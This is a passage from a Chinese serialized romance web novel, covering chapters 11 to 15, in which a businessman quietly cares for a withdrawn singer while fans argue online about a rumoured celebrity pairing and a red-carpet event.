等找到以后,他算是明白为什么费薄林会叫他“找人”“搬走”了。 凭他一个人,根本运不走这些宝贝。 那不是东西,而是三套被买下来的Elie saab当季秋冬刺绣男装高定,和一套Zuhair女款高定配BVLGARI祖母绿高珠。 展示柜这边没有顶灯,张朝只开了靠近地面的壁灯,冷色灯光晕在礼服上,衬托得黑暗中的刺绣金线都泛着碎光。 男装已经按温伏的尺寸全部改过,这一套女装应该是送Stella的顺水人情。微博之夜红毯除了艺人之外,经纪人和其他平台的重要人物也会受邀,到时候这套衣服与珠宝她要自己穿着走红毯也好,或是借给团队里别的女艺人,都足够长脸。 费薄林对Stella很给面子,甚至已经到了十分尊重的地步。 张朝先联系了Stella,告知对方红毯礼服已准备完毕并拍了照片发送过去,随即礼貌询问这四套高定是送往工作室还是造型师亦或者她本人那里。 电话里Stella谈起礼服显然从一开始的愁云不展逐渐变作喜笑颜开,同时还不忘客套:“真是麻烦费董操心,还给我都借了一套衣服。” 张朝微微一笑:“这不是借给您的,是费董买下来送给您的。当然,如果您觉得走完红毯后温伏不会收下男装,可以联系我让我取走。至于送您的那一部分,是费董的心意,希望黛姐您一定不要拒绝,也好让我能跟费董交差。” 这话既给了Stella对温伏三套礼服无法处理的解决方案,又表明了费薄林的立场,还给了Stella一个不再推脱的理由——只要收下礼服,就是帮了他张朝,虽然一听就是面子工作,但确实再没给人回绝的余地。 Stella哈哈一笑,半开玩笑半认真地说:“那我可就收下了。” 张朝打完电话,又安排人来取走礼服和珠宝,最后才松了一口气,又站在钢琴面前观摩那两张合照。 看着看着,他脑海中突然响起费薄林下午在电话里叮嘱的那句话:“你今天什么也没看见。” 张朝脑子里白光一闪,看看合照,又想想费薄林,汗毛立了起来。 原来是在给 11. 第 11 章 [] 费薄林先把东西放到柜子上,同时瞥见了那一排一看就是特意摆好的奖杯和证书。 他不动声色地换上一旁准备好的新拖鞋,再弯腰把温伏扶起来:“等了很久?” 温伏说:“不知道。” 他没注意等在这里的时间。 温伏回头看看身后与自己有一段距离的小板凳,好像是等着等着就挪到门口来坐着了。 费薄林把东西提到厨房,顺道扫了一眼温伏住的地方,几乎是条件反射地嗅到一丝异常。 简直简洁得太过余了。 他默默放下食材,问温伏:“洗手间在哪?” 温伏朝左边指了指,见费薄林要去,就打算跟在费薄林屁股后头一起,被费薄林回头嘱咐:“去烧热水。” “哦。” 一根尾巴又掉头回去。 费薄林在洗手台前洗了手,听着厨房的动静,踏出洗手间,步子往旁边一转,随便打开了一个房间的门。 很好,是乱得没有地方下脚的书房,这才正常。 温伏显然在他来此之前把客厅收拾不了的东西一股脑全扔到这里来。 他从脚底下的谱子拾起,一路捡书捡草稿捡论文纸,捡到打印机前,掌心积累了满满一摞,再根据温伏以往的习惯和在纸上做过的标记,把所有纸张分类放在桌上。 接着是书。 所有打开盖在地毯上的书被费薄林熟练地挨个贴上页数标签以后合上,再以学术类、生活类和娱乐类分档归好,最后根据图书借阅时间把需要在近期归还的借记书贴上便利贴。 曲谱架以及椅子让费薄林挪到了向阳的位置,免得温伏成天躲在见不着光的的角落里写歌;薄毯折好安置在温伏常坐的地方;躺在地上的吉他也让费薄林收好放在该有的架子上。因为流程太过熟悉,他整理完这一切,时间也才过了十分钟而已。 而温伏在几分钟以前就已经站在门口看他忙活了。 当费薄林打开那个装满信封的柜子时,温伏轻声说:“那是粉丝的信。” 他把柜子合上,突然听温伏问:“我的……” 费薄林没听清:“什么?” 温伏又摇头。 温伏说话的声音一贯是很小,不愿意说第二遍的话也绝不会再开口。 费薄林说:“带我去看看你房间。” 温伏沉默了一秒,像在犹豫,瞄了瞄费薄林的神色,还是领着对方打开了主卧的门。 因为他平时穿的衣服少,所以家里没有衣帽间,拿最大的房间做了琴房,二等大小的就是现在的主卧,家里唯一一个衣柜就在主卧里。 屋子目前看起来还算正常,被子四平八稳铺在床上,除了一台空调之外再找不出多余的东西。 温伏站在费薄林旁边,瞅了瞅费薄林,估摸着可以蒙混过关了,刚要问“走吗”,就见费薄林踏进房门,直往衣柜面前去了。 衣柜有两个衣厢,每个衣厢上下分层,总共是四块分割出来的空间。 费薄林在左右两个衣厢中抉择了一下,随机打开了其中一个衣柜门。 被温伏揉成一团的某堆衣服当即滚滚落下,散落到费薄林的拖鞋四周。 温伏转身把已经很平整的被角抚了又抚。 费薄林:“……” “脏衣服吗?”费薄林问。 温伏背对着他回答:“洗过的。” 他只是不会叠衣服。 他已经学会把自己住的地方从脏兮兮的垃圾场变成很干净的垃圾场了。 费薄林这么想着,安慰自己,算了,至少也是一种进步。 “去把包装盒里所有的食物拿出来,放进盘子里。”费薄林一边捡起衣服一边叮嘱,“荤菜和素菜分开。” 温伏一瞬间消失在房间里。 费薄林脱下外套搁在床尾,开始坐在床边一件一件地给温伏折衣服。 直到叠完这一边衣柜里所有的衣服,他心中隐隐感到不妙。 这些衣服里,没有一件是之前他拖Stella帮忙拿给温伏的。 他把目光集中到另一个衣厢柜门。 三秒钟后,费薄林站在被推开的衣柜门前。 大大小小堆积成山的、连包装都没拆开的奢侈品衣物如山洪般倾泻而下,哗啦啦全部滚落出了衣柜。 在厨房的温伏恰巧把所有食物分装到盘子里,正要去房间给费薄林汇报,听到这阵动静后,一言不发地退回厨房,悄悄关上了门。 又过了二十分钟,正好是饭点的时候,费薄林终于从卧室离开。 厨房门一打开,温伏一梭子从他胳膊底下钻出去躲到客厅里,以飞快的速度打开动漫佯装认真地看了起来。 正午的太阳从落地窗照进来,温伏飞舞的发梢覆上浅淡的金色,眼珠子对着电视屏幕看得聚精会神,耳朵偶尔无意识地轻轻一动。 费薄林对着这一幕怔了片刻,好像回到过去无数次幻想的场景中。 打卤面很快做好,温伏闻到香气就窜回了饭桌,费薄林把卤子快溢出碗边的手擀面推到他跟前:“当心烫。” 温伏没应声,挑了满满一筷子正要往嘴里塞,就听费薄林冷声道:“小口吃。” “……哦。” 温伏放下筷子,重新挑起正常分量的一口,放进嘴里,慢慢咀嚼。 费薄林此时才转悠到玄关处的柜子前,低头挨个挨个去看温伏的奖杯和证书。 温伏见他走开,心里一动,很快咽下第一口面,立马再挑起一大筷子,张大嘴正要闷头开造,费薄林就像背后长了眼睛似的,连声音都带着惯有的严厉:“好好吃面。” 温伏:“……” 至此悻悻作罢,老老实实一口一口地斯文吃着。 费薄林从打头第一个奖杯开始看,是温伏大三参加省级音乐比赛拿的冠军。那场比赛费薄林记得,从海选面试到晋级赛和决赛的视频他都刻成了光盘收藏在对面那套房子里,还有温伏获奖的照片。 本科时的温伏并非音乐专业,一个学财政的大学生通过拉小提琴打败一众音乐专业的同龄人夺得魁首,在那时是业内小有轰动的新闻。温伏领完奖连衣领都没整理好就被拉到镜头前拍照,举着奖杯笑也不笑,像才从被子里睡醒。 后面是同年温伏拿国家级奖学金的证书,费薄林当时特意去他学院的官网和公众号找到了温伏拿奖时跟院长的合照,下载打印后的照片也成了他放在家里的众多藏品之一。 后两个是几场不同学校音乐学院官方组织的联合比赛奖杯,费薄林的记忆中,这些比赛主题有的主题是流行原创音乐,有的是古典乐,温伏参加的不止两场。他仔细看了看,发现温伏把自己得亚军和季军那几场的奖杯藏起来了,没有摆到这里,只留冠军奖杯出来露面。 往后是一部分国家级比赛荣誉证书,以及温伏出道后这几年参加的含金量较重的音乐综艺和表演场合得到的奖项。 最有分量的当属国内顶级音乐奖金晶奖,温伏是史上最年轻的最佳男歌手获奖者,因此他也把这个奖杯放在进门的第一个位置。 同年温伏还得到了最佳编曲 12. 第 12 章 [] 费薄林的手机不合时宜地又响了。 是张朝打电话告诉他今天上半天需要他处理的工作内容以及文件放置在办公室的位置。 费薄林为了给温伏煮面特意推了上半天的所有日程,当张朝在电话那端问他下午是否要回公司时,他明显地听到隔壁喝汤的声音乍然中止。 温伏的听力和嗅觉都极其敏锐,毫无疑问是听到了张朝的话,费薄林甚至可以想象对方现在捧着碗聚精会神等待他回答的样子。 按道理待处理的文件如果不是特别重要,张朝不会特地打电话询问,加之下午有一个提前预定的会议他需要出席,剩下半天的行程无论如何不该推脱。 费薄林盯着挂历上的字迹:“两点之前我会给你答复。” 他结束通话,屏幕上方又弹出一条通知。 这回通知来自微博: 【您关注的@温伏-哆来咪上热搜了】 温伏这几天要一直呆在家里,也没出息活动和演出,怎么会无缘无故上热搜? 难道是刚才那条微博? 费薄林一下子想到了什么,他点开通知栏,微博把热搜榜推送到眼前,果然,关于温伏的热搜话题赫然出现在娱乐榜第二——#此祁彼伏#。 这是祁一川和温伏的CP名,费薄林很早就知道。 他一直没有去管,一来前些年他长时间待在国外,忙得空不出手处理这些事情;二来温伏与祁一川是故交,从小有一些渊源。 温伏早期出道没有名气时,全靠祁一川在社交平台时不时帮忙宣传,才会有温伏长时间以来“歌比人红”的情况,以至于三年前温伏一夕走红,关于他的讨论几乎是井喷式地出现诸如“原来这首歌是温伏唱的”、“听了那么久的几首歌竟然都是一个歌手”的言论。同时Stella抓住舆论风口,紧跟这些话题发了不少类似的通稿,才算是把温伏成名的第一步站稳了脚跟。 而“此祁彼伏”这对cp,也因为祁一川的缘故,远比温伏出圈得早,热度也更高,时至今日,依旧如此。 两个人被冠上不清不楚的猜测后第一次迎来大规模的关注是在前年。 当时温伏事业刚有起色,Stella凭借人脉给给他接到了圈内目前最有分量、关注度最高的音乐综艺之一,也就是黄台新策划的《声声入耳》第一季。 这个综艺和别的小打小闹的综艺不同,不是敷衍了事,也不是只走过场,比赛规则和晋级方式都无限趋近于对观众完全透明,只靠评委的打分无法决定歌手的去留,场内场外观众的直播投票更是晋级的决定因素。 作为踢馆嘉宾,温伏在综艺的第三期才参与录制。 他是乐坛新秀,很多跟他情况一样的年轻歌手踏入这种高手云集的比赛综艺,几乎不会怀着自己会踢馆成功的想法,所以在选歌时也会选一首自己最需要引起关注的代表作,这样即便来综艺里一轮游了,也可以把节目当作一个不错的宣传平台,给作品打广告,以达到给自己引流的目的。 但温伏反其道而行之,没有选任何一首他的原创歌曲,而是选择一首经典情歌来翻唱。 那首情歌属于典型的“外行看热闹,内行看门道”,经典程度可谓家喻户晓,但翻唱难度也总叫人望而却步。 温伏很清楚自己的演奏舒适区,他和高音与别的经典歌手的高音不一样,声线并不尖锐也不高亢,擅长的领域是柔和的抒情曲,因为声音感染力强,观众在他演唱时对歌曲的沉浸度极高,因此总是忽略温伏歌曲中曲调的高度。常常等到他演唱完毕,一曲终了时,演播厅余音绕梁,他的尾音还一阵一阵回荡在四壁,听众才会后知后觉地发现,能达到这样的演奏效果与完成度,非极高的声调水准不可。 温伏第一次踢馆选择的翻唱歌曲就完美契合了他的音域。 那首歌的升调融合在舒缓如流水的节奏中,不像典型的高音歌曲那样有直冲云霄的震撼力,而是另辟蹊径,在暗流涌动过程里,歌曲所表达的情感和依附的曲调逐渐攀登,最后层层递进,余韵悠长。 费薄林记得温伏第一场直播开播时,他正在开跨国会议,好在会议已临近尾声,为了不让人察觉,他直接用开会的电脑切了个屏,耳朵用来听会,眼睛观看直播,等到温伏出场,会议结束,费薄林第一个退出会议室,转头专心听起了温伏的演唱。 那场演奏温伏全程坐在一个高脚凳上,一脚踩着脚踏,另一条腿撑在地面,怀里抱着那把不到千元的二手吉他,穿着很简单的卫衣和牛仔裤,脸上的妆淡到接近于无。 费薄林在大洋彼岸,隔着屏幕看温伏习惯性地闭上双眼,轻晃椅子,用又清又缓的嗓音歌唱。 舞台的灯光也像海湾上的月亮一样轻轻地晃。 晃啊晃啊,一首歌他还没听够温伏就下台了。 接着费薄林拿起手机,漫不经心地用每一个手机号给温伏投了票。 不出意外地温伏成功踢馆,留在了综艺,并且由于他在第一季惊人的表现,节目组在第二季开录时,主动递上了邀请函。 而“此祁彼伏”一夜出圈就是在其中某一期录制时,温伏被狗仔拍到结束后坐在黄台导播大楼楼下的花坛边,捧着祁一川送来的饭菜狼吞虎咽。 祁一川本人就在一旁,戴着口罩,同温伏并肩而坐,用手撑着下巴,满眼笑意盯着温伏吃饭,活脱脱一老爷们儿盯黄花大闺女的眼神。 至于温伏,全程头都没抬一下。 吃完饭咕咚咚灌了一瓶水,把嘴一擦,戴上帽子上车回家了。 第二天狗仔放图倒是没明目张胆说什么,男明星搞同性恋这事儿,一般干偷拍这行的,都不敢像造谣女明星那样张嘴胡说,除非拍到确切的亲密照。 可手里拿着一线流量祁一川的照片,不搞事儿又觉得跟亏了似的,于是狗仔在标题旁敲侧击地暗示:祁一川夜会温伏,短暂相聚后二人为避嫌分开回家。 话题一发,广大路人群众毫无反应:祁一川大家都认识嘛。温伏?谁?男的女的?哦,前段时间上《声声入耳》翻红的那个。 俩人干了什么?夜会? 点进话题一看,就吃了个饭,祁一川的眼神在大晚上拍出来也不清不楚的,没什么好看的。 温伏的吃相更是跟闹了三年饥荒一般不堪入目。 遂又退出话题。 可是此起彼伏的双人超话沸腾了。 cp粉一口一个“我cp放饭了,放的是真饭”,硬生生把原本在热搜三十几位的话题刷到了前五,这下不管是真路人还是饭圈粉丝都难免点进去多看几眼。 磕cp这种事 13. 第 13 章 [] 费薄林不甚自在地收了碗,整理好神色转过身,温伏的视线跟着他亦步亦趋地动。 他走到餐桌边先擦了手,又抽出纸巾,走到温伏跟前,低头给温伏擦嘴,始终不肯跟温伏对视:“吃完饭十五分钟后睡午觉。” 温伏等他擦完,下意识抿了抿唇,见费薄林走到卧室去拿外套,估计是要走,于是跟在费薄林后头:“下午吃什么?” 费薄林飞快地低声问:“肯德基够不够?” 温伏说:“什么?” 费薄林在前方沉默了两秒:“没什么。” 他把卷到小臂的衬衫袖子放下去,拿起床尾的大衣,走到窗边关上窗帘,回头说:“睡觉吧,下午——” 费薄林话头一顿,想起下午的行程一直安排到了晚上,根本没时间赶过来。 “我会把饭准备好。”他拍拍被子,“过来睡觉。” 温伏脱了拖鞋上床,钻进被子里,费薄林倾身过去给他把背角掖紧,免得有风灌进空隙:“午觉不要超过一个小时,闹钟响了就起床——定闹钟了吗?” 温伏看着费薄林西装马甲上被洗碗时溅到的水迹,又顺着往上看见对方下巴上那条伤疤,很想伸手摸一下,最终只是摇摇头。 这会儿他躺着,费薄林把他全身上下的被子都掖紧了,直挺挺地像个蚕蛹,再要伸手出来就又得把被角掖一遍。 费薄林拿起温伏的手机,是三年前的款——当时温伏刚火起来,Stella跟活动时发现温伏这么多年一直没换手机,全面屏都普及了他那老机子还不能指纹解锁,合着当初火遍全网的唱歌视频那股子模糊感不是用了怀旧滤镜,而是温伏手机摄像头像素太差造成的,遂逼着温伏换了新款。 转眼这手机又用了两三年,好在是面部解锁,费薄林把黑黑的屏幕举到温伏面前,温伏眨眨眼,屏幕亮开,费薄林拿回眼下,看见温伏手机壁纸时愣了愣,随即佯装无事地点开闹钟设置时间。 正设置着,温伏小声问:“你要走了吗?” 费薄林说:“等你睡着我再走。” 温伏把眼睛睁大了点。 费薄林像是知道他打哪门子主意,看都没看,手指在屏幕上点击着,毫无感情地说:“闭上眼睛好好睡觉。” 温伏:“……” 温伏闭上眼,听费薄林把手机放回床头柜,接着起身离开房间。 房间门关上后,温伏耳边静得出奇。 他睁开眼,瞪着满屋子的黑暗,坚守着睡眠。 房外的声音变得朦胧,先是响起了楼下的门铃,很快被挂断后,费薄林似乎开门拿了外卖,随后去到厨房,关上厨房的门,用外卖点来的食材开始做饭。 温伏最终在那阵熟悉又模糊的做饭声里睡着了。 这场午觉深沉而绵长,梦里他像是回到很多年前出租屋的小床上,听着厨房传来的动静,一边安心地睡着,一边期待醒来后费薄林又会出做什么好吃的。 直到闹钟将他激醒,房间里不再是窗帘都遮不住的刺眼日光,身边也没有老旧的电风扇吱嘎作响,温伏摸黑坐在床头,看向房门,试着喊道:“薄哥?” 只有八年后的寂静像钟声一样在回荡。 温伏独自发了会儿呆,等梦境的遗留感渐渐褪去,他掀开被子下床,客厅里空无一人,饭桌上放着一个全新的保温盒,上面贴着一张便利贴,是费薄林的字迹:六点半之前吃晚饭,水果在冰箱里,吃之前半小时拿出来。饭吃不完可以留着晚上饿了吃,隔夜不要再吃。吃完饭先洗碗,洗完明天让助理检查,没洗干净就让助理帮忙,不要把脏碗放回去。 看起来费薄林想写的还没写完,碍于便利贴的大小,后面写了两个字又涂掉了。 温伏心灵福至地撕下便利贴再翻面,果然看见后头还有几个笔锋凌厉的大字:少吃肯德基。 他垂下眼沉思片刻,把“少吃肯德基”那一页“啪”地拍在墙上,看着字多的那面叮嘱默默点了点头。 - 次日温伏飞北京参加微博之夜,凌晨出发,趁天还没亮,在日出的时候去户外拍摄出发图。 Stella叫人给他换上第一套高定,一边在安排场务时一边忙里抽闲,指着温伏对化妆师嘱咐:“把他手腕那个纹身拿遮瑕遮了,免得后期加工P图。” 温伏手腕左手内侧有一个非常显眼的蝴蝶纹身,是一个振翅欲飞的姿态,那个纹身没有大片填色,只用艳丽的血色染料勾勒了轮廓与花纹,风格简约而妖艳。凑近些看,能发现那片纹身下有一块崎岖不平的伤疤。 这纹身是他当年在国外的某个晚上脑子一抽,背着Stella摸到一个街头纹身店纹的,纹完以后他跑去自己当初下飞机的机场门口坐了整整一夜,中国飞往这个异国他乡的航班降落了一拨又一拨,温伏一眼不眨地盯着从出口出来的每一个东方面孔,终于在清晨时分被轻车熟路找到他的经纪人抓了回去。 化妆师上妆的当头,温伏闭着眼睛打盹。 周纪递了瓶插着吸管的水过来:“要不要吃点东西?待会儿活动开始了就没吃的了。” 温伏就着吸管喝了口水,想到Stella在这儿,要吃也只能啃些菜叶子,干脆摇头。 这时候Stella又指挥着过来,瞅见周纪给他喂水,命令道:“不要再给他喝水了,要喝就喝黑咖,免得上镜水肿。” 众所周知温伏不是易胖易水肿体质,只是以前Stella手下的艺人都要控制饮食,温伏的身体再“众所周知”也拗不过Stella的固执,周纪只能赶紧收了水:“好的黛姐。” 服化道准备完毕,城市天际线出现第一抹日光,团队开始了拍摄。 温伏平时不怎么爱笑,可以说脸上多数时候没什么表情,纵然在交际场这样是不受欢迎的,但偶尔也有一些小小的好处——比如硬照十分容易出片。 一个天台,一场日出,温伏站在那里,腿长腰细,随便摆两个姿势摄影师都能一顿咔擦。 Elie saab的礼服出挑点不在特别的款式设计,而是昂贵的面料与礼服上繁复的刺绣工艺,礼服外简内繁,高定的剪裁一向挺阔大气,刺绣的材质与手工才是重中之重。 Stella为温伏的出发照选择了三套礼服中米白色的那一套,迎着天色,衣料上雪银的刺绣从任何角度都折射着朝阳的碎光。 大概费薄林也考虑到了,这个牌子的礼服主张华丽的风格,所以在给温伏准备时,没有再添置多余的珠宝或手表,以免画蛇添足,显得土气。 拍完照,温伏回到酒店,利用等待活动开始的间隙背发言稿。 微博之夜内场颁奖礼,用业内的话说就是个“分猪肉”的颁奖活动,意思是只要出席晚会的明星,主办方总能想到个花里胡哨的奖项颁发过去,主打一个雨露均沾人人有份。 出于面子功夫,每个上台领奖的明星自然也会说点相应的获奖感言。 这种活动奖项本身实在没什么含金量,所以艺人的发言稿基本都是团队提前代写,寥寥数语,写好以后让艺人上去背书。 温伏的发言稿是在赶飞机的途中用手机备忘录打的。出发之前团队收到信息,一早得知他被颁发的奖项是“年度最受关注流行男歌手”,周纪把这事儿告知温伏,又问需不需要帮他写好感言。 温伏想了想:“我自己写。” 周纪点头,了解温伏在这些方面向来让人省心:“主办方让时间控制在三分钟以内。” 感言很简单,无非是先感谢团队和主办方的支持与认可,表达自己虽然努力但仍有上升空间,随后再展望一下未来,说些“再接再厉,争取不会辜负大家的期望”之类的话。 正因为这些东西容易,温伏才长时间以来不理解为什么团队每次都要过问他是否需要帮忙写发言稿,但凡上过几年学,这种比初中作文还要简单的事情应该没人不会。 他忙惯了,自然不理解在这个躺着都能日进斗金的圈子里,大多数人的惰性早已战胜了责任心。 今天的活动温伏换了好几次衣服,从出发照到红毯再到内场,像是跟随着场合进行变动。 每套衣服在他眼里都是差不多的款式,以前参加活动温伏基本一套礼服穿到底,今晚兴许是他第一次参加大型晚会的缘故,着装也跟着多次更换——温伏看在眼里,但没有过问,只是周纪让他换,他就听话去换,因为Stella看起来已经很忙了,不但要盯着他这边,那边Stella自己也要准备上红毯的事宜。 费薄林送给她的祖海高定和宝格丽高珠Stella一样也没戴,作为艺人幕后的经纪人,出席活动的含义和明星不一样,不需要礼服和珠宝给自己的时尚履历镀金,争夺媒体眼球不在她的业务范围,无论是祖海高定还是宝格丽高珠,放在她身上都过于抢人风头——而这种风头,对于一个只求实干的经纪人来说完全没有意义。 她转手把这套高定和珠宝通过人脉主动借给了一位四十出头的圈内一线影后,以此搭上一些关系——在这个圈子混了二十年,Stella本来在十二年前开了一家经纪公司,那时候她才二十八岁,年轻气盛,跟一家影业签了四个亿的对赌协议,承诺三年之内自己公司的纯盈利能超过四亿人民币,然而就在她签完协议的第二年,手下流量最高的一个男艺人被那家影业公司策反,违约跳槽离开了她。Stella一边为对赌协议疯狂给手下还没成气候的小艺人拉工作,一边还要忙着上法庭与对方打官司,三年时间,她拼尽全力,一场对赌还是在那家影视公司的暗箱操作下一败涂地,而她的公司也成功以极低的价格被对方收购。 Stella要强,不愿意在那样一家企业手下屈就,宁可舍弃自己一手创建的心血,投身到一家名不见经传的小公司,从零开始,自己亲自投资节目选艺人慢慢培养。 温伏就是其中一个。 就在温伏受到公司重视的这几年,Stella已经频频与公司高层出现意见分歧。比如她对自己手下艺人接活动的宗旨是“少而精”,但公司眼中只有赚钱,所有的商演,不分高低良莠,只要递过来的合作邀请,但凡温伏时间排得开,全都给上,甚至去年有一次连十八线小县城的超市开业都让温伏去站台唱歌。 这些事情大部分情况下 14. 第 14 章 [] 年末一场大型红毯,能养活各个论坛前后三天的kpi。 而这次微博之夜,各大论坛首页除了老生常谈的明星生图拉踩对比,更多的聚焦点放在温伏身上。 随便一个点进去,首页都飘着温伏相关的帖子,比如: 【@momo:无人在意的角落。。有一个湖笔今晚换了三套高定。。一套出发图,一套红毯,一套内场,说资源咖谁是资源咖。。。 [评论区][1楼]@樱木草道:这也能叫资源咖吗,我以为资源咖是他麦麸对象那种[128赞] [2楼]@momo:他麦麸对象是谁 [3楼]@樱木草道回复 [1楼]@momo:一年四部古偶的大瀑剧男主祁一川啊[331赞][81踩] [4楼]@momo[楼主] 回复 [1楼]@樱木草道:时尚资源。。何尝不是一种资源[82赞] [……]】 再比如: 【@巴旦木拿铁不加冰:温伏的造型师是谁?能给他借到三套ES? [评论区][1楼]@捆绑我担全家暴毙:不知道,只感觉ES都变廉价了。。难道现在高定牌子都不看舆论的吗?这人不是前两天才被嘲了几百高楼?现在高定那么好借了?[19赞] [2楼]@巴旦木拿铁不加冰[楼主] 回复 [1楼]@捆绑我担全家暴毙:啊?我觉得挺好看的啊,不廉价吧,ES确实不好借,所以我好奇他的造型师怎么借到的三套ES[99赞] [3楼]@谁家的哆来咪回复 [1楼]@捆绑我担全家暴毙:嘲的是他衣服少,又不是说他衣服土,那层帖子几百高楼有一条说他不好看的吗,不能因为他粉丝少就随便什么都能黑吧?[212赞] [4楼]@我女天下第一 回复 [3楼]@谁家的哆来咪:哥哥。。你跟他有什么好解释的。。。点进主页就知道是祁一川粉。。温伏的黑贴都没删干净 [5楼]@谁家的哆来咪回复 [4楼]@我女天下第一:难怪ID取得这么恶毒,粉随正主,不知道的以为当初导播大楼下是温伏拿刀架在他正主脖子上逼他正主上赶着我宝送饭[82赞] [6楼]@我女天下第一 回复 [5楼]@谁家的哆来咪:哈哈。。谁是舔狗捆绑我宝谁自己心里清楚。。。 [……]】 更多是关于温伏吃饭的: 【@momo:他是在立什么新人设吗? [图片.jpg] 演的吧?谁会在镜头面前抱着麦当劳埋头大吃啊 [评论区][1楼]@捆绑我担全家暴毙:他戏真的很多。。。3202年了不会以为内娱还吃天真无邪不懂事这套吧。。。吃相又不好看。。[88赞] [2楼]@捆绑我担全家暴毙:家里没米了吗。。跟逃难来的一样[109赞] [3楼]@正义路人:说是今年内场没准备餐食,所有人都干坐着,活动中午就开始了,好多人都没吃饭。后来还有个小演员的经纪人过来偷偷找他要了一个汉堡[112赞] [4楼]@谁家的哆来咪(已变身伏丝唯一硬柿子):1楼装都不装了是吧?拉黑人的速度倒是快,十个温伏的黑贴里面八个有你,另外两个是你的披皮。澄清是不听的,黑料是要造谣的,见到温伏是忍不住要发癫的,自担是拿不出手的,你是活不到明天的。[123赞] [5楼]@我推确认死亡回复 [3楼]@正义路人:找温伏要麦当劳吗。。哪个小演员哈哈哈 [6楼]@正义路人回复 [5楼]@我推确认死亡:锋度传媒的一个演员,说是才十四岁,饿得不行了,经纪人就去找温伏要汉堡了 [7楼]@纳纳米回复 [6楼]@正义路人:那温伏给了吗 [8楼]@正义路人回复 [7楼]@纳纳米:我在内场的朋友说给了,好像温伏直接把吃的全给对方了[186赞] [9楼]@捆绑我担全家暴毙 回复 [8楼]@正义路人:他两口一个汉堡的速度,吃的还能剩多少/emoji[/:笑哭] [10楼]@正义路人回复 [9楼]@捆绑我担全家暴毙:剩挺多的,小演员没吃完还给周围的人分了不少,估计那堆麦当劳点了得有四五百块钱的 [……]】 也有关注“此祁彼伏”相关的: 【@刘海怎样才能不分叉:吃麦当劳拆cp。。。他是不是开创了一个新的流派。。 [评论区][1楼]@捆绑我担全家暴毙:他为什么要拆cp啊/emoji[/:笑哭],很明显是单方面炒作,热搜捆绑卖惨提纯辟谣一条龙,这对cp谁缺热度看不出来吗[145赞] [2楼]@momo:随机抓一个此祁彼伏cp粉采访一下感受[79赞] [3楼]@谁家的哆来咪(已变身伏丝唯一硬柿子):祁一川为什么要给我宝宝送饭啊/emoji[/:笑哭],很明显是单方面炒作,热搜捆绑卖惨提纯辟谣一条龙,这对cp谁千里送饭当舔狗看不出来吗[24赞] [4楼]@momo:1楼3楼请和好[223赞] [5楼]@我推确认死亡:1楼3楼请和好 [6楼]@你们不要再打了啦:1楼3楼请和好 [7楼]@什么都能吃:1楼3楼请和好 [8楼]@都坐下听我说一句:此祁彼伏是假的,但1楼3楼是真的 [9楼]@我真的谢:1楼3楼我都有点嗑你俩了 [……]】 关于温伏的种种讨论,本人都没有做任何回应,虽然很大概率是因为温伏对此毫不知情——从温伏出道起,Stella就再三告诉过他,不要去关注微博和论坛的舆论,很容易搞崩艺人心态。而温伏一向说东不往西,本身对网络冲浪就不感兴趣,经纪人都这么说了,他乐得偷懒。 Stella和祁一川的经纪团队两方都非常默契地趁乱利用一些营销手段,通过这次事件的热度联合外包宣传团队明里暗里发了些通稿,其中不乏互相诋毁彼此艺人的,双方都以虐粉的手段对cp粉做到了部分“提纯”——即利用通稿给粉丝进行洗脑,让粉丝产生其中某一位被舆论打压甚至陷害的感觉,再让粉丝对其产生同情与心疼心理,慢慢由“嗑cp”的心态转变为只偏心其中一人,慢慢成为唯粉。 论坛硝烟散去时已是三天后。 温伏刚刚从长沙录制完《声声入耳》回到锦城,录制的前两天还跑了同省的一场商演。 飞机降落在锦城的十二月,温伏短暂回家休息一晚后要再飞贵州连跑三天演出。 周纪告诉他后面几天的具体行程时,两个人正从机场VIP通道往外走。 温伏一边戴帽子和口罩一边说:“以后不跑了。” 周纪一时没反应过来:“什么?” 他恍惚了一息,似懂非懂:“商演?以后不接了?” 温伏点点头,声音在口罩里显得更微弱:“都不接了。” 周纪虽然不明白温伏怎么突然做了这个决定,不过这些乱七八糟的商演早一天不接都是对的。他想起几天前上另一趟飞机时温伏问他后面的商演能不能推掉,听到周纪说推是可以,但是要付违约金时,温伏才不再说话。 想来当时温伏就已经有了不再跑商演的意思。 周纪欲言又止:“其实后面这几天商演,违约金也不是很多……” 三场商演加起来估计要付个十几二十万。 温伏垂下睫毛沉默了几秒,最终摇摇头:“算了。” 还是决定去。 其实不用试探,周纪也能猜出来,温伏这个人是学不会用钱买安逸的。什么时候宁愿付违约金也要休息了,那就不是温伏了。 同行的还有团队的其他几个妆造,一行人走出来,看到两侧接机的粉丝比之前又多了一些。 因为是很冷的天,很多粉丝一看就在外面等了很久,放眼望去大部分都是女生,手里不是拿着相机就是拿着信,为了早些让人回去,在周纪去左边一列收信的同时,温伏也去到右边挨个从她们手里接信。 伸到眼前的手很多,但所有人都很有分寸,没有往温伏身上乱摸。 温伏每拿一封信就低声说一声“谢谢”,但因为声音太小,粉丝过于热情,几乎没有一个人听见他的话。 人群里蓦地冒出一只比其他人骨架都大一圈的胳膊,直挺挺把信递到温伏眼下。 温伏先是愣了愣,随即抬头,顺着胳膊看向它的主人,发现是个白白净净的男生。 两个人对视的片刻,对方又把信封往他这边送了送,看起来是很希望他能接过去。温伏看看信,又看一眼那个男生,显然有些犹豫,俄顷,还是收下了信,飞快地塞到手心最后一张的位置。 左右两列粉丝的信件差不多同时收完,周纪先去开了车门,温伏在上车前忽想起那天在肯德基祁一川给他看的论坛帖子。 他脚步一顿,慢慢退到两列粉丝中间,扯下口罩,对着左边弯了一下嘴角,又对着右边弯了一下嘴角,随后再次戴上口罩飞快地上了车。 “……” “……” ……什么鬼动静。 左右两边的粉丝鸦雀无声,陷入一片寂静。 没人看懂温伏刚才那两下代表什么意思。 一直到周纪上车关闭车门的前一秒,外面爆发出一声撕心裂肺的吼叫:“工作室记得反黑!!!” 周纪:“……” 等车开走以后,周纪看后方粉丝越来越远了,才对身旁发呆的温伏问:“你刚才在干吗?” 温伏的视 15. 第 15 章 [] 由于心理阴影太大,温伏在书房放置时直接把这封信塞到了最底下的位置。 接着回到房间,倒头就睡。 与此同时,在酒店暂居的费薄林收到了Stella从北京家里寄来的快递,是作为上次微博之夜他慷慨出手赠送礼服的回礼。 这个快递与Stella本人做任何事物都力求“小而贵、简而精”的风格完全不同,是两个又重又大到膝盖高的箱子。 